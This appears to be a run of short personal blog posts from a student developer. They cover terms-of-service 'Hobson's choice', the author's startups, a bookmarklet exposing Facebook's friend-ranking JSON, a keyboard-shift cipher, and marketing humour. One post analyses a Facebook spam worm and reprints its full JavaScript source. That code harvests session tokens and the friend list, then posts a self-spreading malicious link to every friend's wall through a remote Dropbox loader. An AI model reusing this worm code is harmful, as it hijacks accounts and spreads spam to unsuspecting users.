Hobson’s choice: the choice of taking either that which is offered or nothing; the absence of a real alternative.
Origin: 1640–50; after Thomas Hobson (1544–1631), of Cambridge, England, who rented horses and gave his customer only one choice, that of the horse nearest the stable door, from dictionary.com.

I just joined another site yesterday. Or it was an app, I don’t really remember. It doesn’t really matter what it was. But this site had terms and conditions that you had to accept before using it. If you are just a general internet user, there is really nothing you can do about terms and conditions. If you want to use this site or app, you have to accept them. And if you don’t agree with them (and my guess would be in most cases, you would always be able to find something you don’t agree with), you simply can’t use the site.

This is the classic case of a Hobson’s choice, where there appears to be a real choice between two alternatives, but one of the options isn’t really an option.

Consider a case where you are at work and the boss wants you do to something, and he says to you: “Either you can do this, or you are fired!” In this case, you have “a choice”– you can either do this task or not. But assuming you want to keep your job, you are left with no real alternative, and similarly very little bargaining power.

The end users on the internet face this on basically every site you join. There are way too many terms and conditions for it to be at all feasible and reasonable for you to read them. Almost all sites present terms and conditions in a way where they *expect* you not to read them, but you *have* to agree to them to use the site. The sad state of affairs is that users *have* to a agree to a term sheet that they *almost certainly* never read. Many sites have terms and conditions hidden at the footer of their site that you implicitly agree to just by being there.

If I had to guess I would say that way less than 1% of Apple users read their terms and conditions sheets. I would be very curious to know that number.

So that’s about it. If you want to use the internet at all, just accept the fact that you had to agree to all these really stupid contracts that you have never read.

If you read tech news or startup news, you are probably numb to it.

“Here is a new startup that will revolutionize our daily lives.”
“This site promises to forever change the way we communicate.”
“This one is a new twist on local deals.”
“You can watch videos or listen to music—but with your friends.”

This list keeps going. But that’s why we’ve built jitterbunk. We did away with all the fluff of new social sites and created a site where you can simply bunk your friends.

Read more about the founding of jitterbunk here.

If you like jitterbunk, you’ll definitely like raunk.

Then head over to raunk.com. This is the startup I’ve been working on this summer with four friends. It’s a site where you can rate anything, and from the ratings, see best-of lists from different perspectives. Since the best-of lists are generated dynamically and from tags, we can generate really amazing and specific lists.

Let me give you a few examples:

Best Programming Languages According To Stanford Computer Science Majors
Best Movies According to Me
Best Season 8 Curb Your Enthusiasm Episodes According to my friends Zach and Daniel
Best Books According to my friend Eric
Best Free Mac Software According to Everyone
Best Harry Potter Characters According to my friend David

Let me explain why this site has the potential to be an amazing resource for you:

There already are many sites that rate things and review things–but most of these are for very common areas such as movies and restaurants. However, it is very common to start googling for the “best something.” But often you are looking for something that doesn’t have a review community like the Best Domain Name Registrars or the Best Stanford Traditions.

These are things I’ve been looking for recently. Our hope with raunk is that if we can can create a platform where people can rate anything, then raunk can be the primary resource for any specific list you have. If you look up best domain name registrars on google, what you’ll find at the top is just a blog post. What would be more helpful to me is if I could see the opinion of the internet, experts in this area, and people whose opinions I respect.

If you head over to raunk.com and check it out, send me an email and let me know what you think, or comment here.

Facebook Friends Rankings
==========================================

Have you ever wondered how Facebook orders your search results? Clearly they have some ordering about who they think you are looking for, and they seem to guess pretty well. I can only guess, but it seems like they order it based on who you interact with, whose profile you look at and who you have recently become friends with.

Well Facebook gives explicit numbers to the directed edges (connection going from you to your friend), about how much they think you are looking for this person. I wrote a bookmarklet that makes it easy to see this list. Although you already know who you look at most, it is eerie to see the list they have come up with—and the numbers they give. The more negative the number, the more Facebook thinks you are looking for them.

To try it out, just drag the image here up to your browser’s bookmark bar. Then go to Facebook and click the bookmarklet. More explanation below.

Note: This is really interesting, but may be embarrassing to you.

Try dragging this link if the image doesn’t work for you.
Facebook Friends

Tested on Chrome, Firefox, and Safari. If bookmarklet does not work on chrome, just try creating a new bookmark with the javascript as the url.

(Note: If you have https on, it won’t work. You can disable it temporarily by going to Account Settings/Security/Secure Browsing.)

How We Discovered this Link

We were working on our autocomplete search for the website we are building this summer called raunk.com and we were wondering why our autocomplete was so slow. If we typed fast, we could type faster than the results would show up. I thought, “Maybe I just type really fast, faster than the results can load.” We then checked Facebook. If we typed faster than Facebook autocomplete then it had to be okay. Well we started typing, and no matter how fast we typed, they already had results showing up.

How did they do this? Were their servers just that much faster than ours? (They are that much faster than ours.) But what turned out to be the difference was this file that they were preloading called first_degree.php. If you open up the Network panel in the Chrome Inspector or Firebug, you can see this file being requested asynchronously. Select XHR to only see AJAX requests.

Well in this file there is a lot of great information. It’s just JSON. There are probably two files, one which loads your first degree friends, and one which loads your “first degree” pages and events. Well if you open up the JSON file you will see, an ordered list of who Facebook thinks you are looking for.

Basically, you will find a list which is mostly who Facebook thinks you are Facebook stalking. And if you expand the entry you will see a field called ‘index’. ‘index’ is the number they give to that edge. The lower the number the earlier they show up on your search results.

And this stuff is all client-side, so it is all visible to you, and most likely will be for quite some time. This list is surprisingly interesting to check every now and then, and it will make you wonder how their algorithm is working and how those people go there.

Other Interesting Parts of this File

If you look a little more at this file you will find lots of other interesting information. There is an optional field that shows up in some results called ‘tokens’. This ‘tokens’ field stores common aliases to your friend’s name. For example, I have a friend named Michael, and his tokens says ‘mike’. My brothers is named Zach, but his tokens says ‘Brother’. Under Daniel it has ‘dan danny’. So look through the tokens, and find a friend who has a token that is not all close to his or her name. If you search it, you’ll notice that your friend will come up. That’s how it works. These are just common aliases for the name–not ones specific to your friend.

How the Bookmarlet Works

Here is how the bookmarklet works: It creates a script element on the page, gets a javascript file from my blog, and this file makes a request to the file first_degree.php with the correct parameters, and then it displays the results formatted nicely on your page.

UPDATE: Thanks for all the comments and feedback! I really appreciate and am glad you found the bookmarklet interesting and entertaining. If you’d like to contact me about the bookmarklet or about our website raunk.com, just shoot me an email or find me on Twitter @jkeesh.

How about this for 5 seconds of internet fame? thekeesh.com made it to #7 on the Hacker News front page, and right about then the server crashed. I’ll take it. You can say it was a bad server configuration or you can say it was at least 20 hits at the same time… its up to you.

So I saw a post on my wall from a friend, but something just didn’t sound right. Again, it was a case of the Facebook spam that somehow tricked you into posting something you didn’t want to post to all of your friends. And many people made the mistake, and it spread fast.

Mainly, it is impressive that these Facebook hackers were able to come up with this. It shows you how difficult of a problem security is for a big company like Facebook.

The hack was that they made a link which appeared to be from Facebook say “Remove this App” right next to common actions like “Like” or “Comment.” But this link was a link to a malicious piece of javascript which got a file from Dropbox and copied this post onto the walls of your friends.

I went to look at the file… which was here, http://dl.dropbox.com/u/10505629/verify.js. But then I went back and Dropbox had apparently taken it down about two minutes later. A fast response–but this message had probably already been replicated, idk, a hundred thousand times?

It seems to have been low damage, but it raises interesting security questions when people believe so readily the information that comes from their friends’ Facebook accounts. I just heard yesterday a case where a friend’s mom’s account had sent out a message about needing help and wiring money–and people fell for it.

I’m posting the js code below, since it is now not accessible — but with the swearing removed.

==== verify.js ======

var message = "-------------------- I hate you and the only way to remove all these posts is by disabling this below.";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "Remove This App";

var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(d+)/)[1]);

var friends = new Array();
gf = new XMLHttpRequest();
gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=" + uid + "&"+Math.random(),false);
gf.send();
if(gf.readyState!=4){ }else{
	data = eval('(' + gf.responseText.substr(9) + ')');
	if(data.error){ }else{
		friends = data.payload.entries.sort(function(a,b){return a.index-b.index;});
	}
}
for(var i=0 ; i < friends.length ;  i++) {

	var httpwp = new XMLHttpRequest();
	var urlwp = "http://www.facebook.com/fbml/ajax/prompt_feed.php?__a=1";
	var paramswp = "&__d=1&app_id=6628568379&extern=0&" +
				   "&post_form_id=" + post_form_id +
				   "&fb_dtsg=" + fb_dtsg +
				   "&feed_info[action_links][0][href]=" + encodeURIComponent(jsText) +
				   "&feed_info[action_links][0][text]=" + encodeURIComponent(myText) +
				   "&feed_info[app_has_no_session]=true&feed_info[body_general]=&feed_info[template_id]=60341837091&feed_info[templatized]=0&feed_target_type=target_feed&feedform_type=63&lsd&nctr[_ia]=1&post_form_id_source=AsyncRequest&preview=false&size=2&to_ids[0]=" + friends[i].uid +
				   "&user_message=" + message;
	httpwp.open("POST", urlwp, true);
	httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	httpwp.setRequestHeader("Content-length", paramswp.length);
	httpwp.setRequestHeader("Connection", "keep-alive");
	httpwp.onreadystatechange = function(){
		if (httpwp.readyState == 4 && httpwp.status == 200){

		}
	}
	httpwp.send(paramswp);
}
alert("Failed to remove. ----------");
document.location = "";

For example, if I type ‘hello’ shifted one key over it is ‘jr;;p’

You can test out encoding or decoding messages here. Or test how good your typing muscle memory is.

If you’ve been on the internet in the last couple years, you may have stumbled up FMyLife, or My Life is Average, or Damn You Autocorrect, or any number of sites in this genre.

The genre is sites that let you post little bits of content around a certain theme, and they are usually similarly formatted. People can like comments, or dislike them with different clever words. Some let you upload photos. But all of these sites do basically this.

Now, these types of sites have become so popular, that you just see really random ones popping up on the internet. But let’s say you don’t know how to make one of these sites, but have a really silly idea for a community that would like to post short joke stories. That’s what Popular Site Template is for.

Here is a screen shot from a site made with Popular Site Template called My Life is Indie.

This is the most recent site I made with Google App Engine. For those interested in seeing how it works, code is available at github.

A little while back I made a site with Google App Engine that is a very simple voting website. I tried to mimic the style of StackOverflow in terms of voting, but the goal was to make it much simpler. The site is made to be used to sift through lots of ideas or items. It is similar to reddit, but much more bare bones. If you want to do brainstorming, you don’t need all the features of reddit, you just need the ability to submit and comment. So that’s all it is.

You can create your own lists and brainstorm and vote as much as you want!

Best To Top

This is another one of those things on the internet that has gotten popular in the last year. It’s big brands trying to be funny like they are your friend. And it has become a really popular marketing strategy. It’s not being funny in a ‘let’s make funny commercials’ kind of way, although to me it seems to be an offshoot of this. It’s just being funny and having this positive association with their company.

Two quick examples that come to mind are Groupon and JetBlue. A large part of Groupon is having very funny and goofy descriptions of products and website text. They also set up a new “dating site” called Grouspawn to help send Groupon babies to college. It sounds like a joke, and it is a joke. The fact that it is real does not mean it’s not a joke.

If you meet Andrew Mason, you will see that he is a full out goof. But he runs a company which uses comedy as a major tool in cultivating a positive image.

Be on the lookout for comedy as a marketing tool, and let me know if you have any good examples.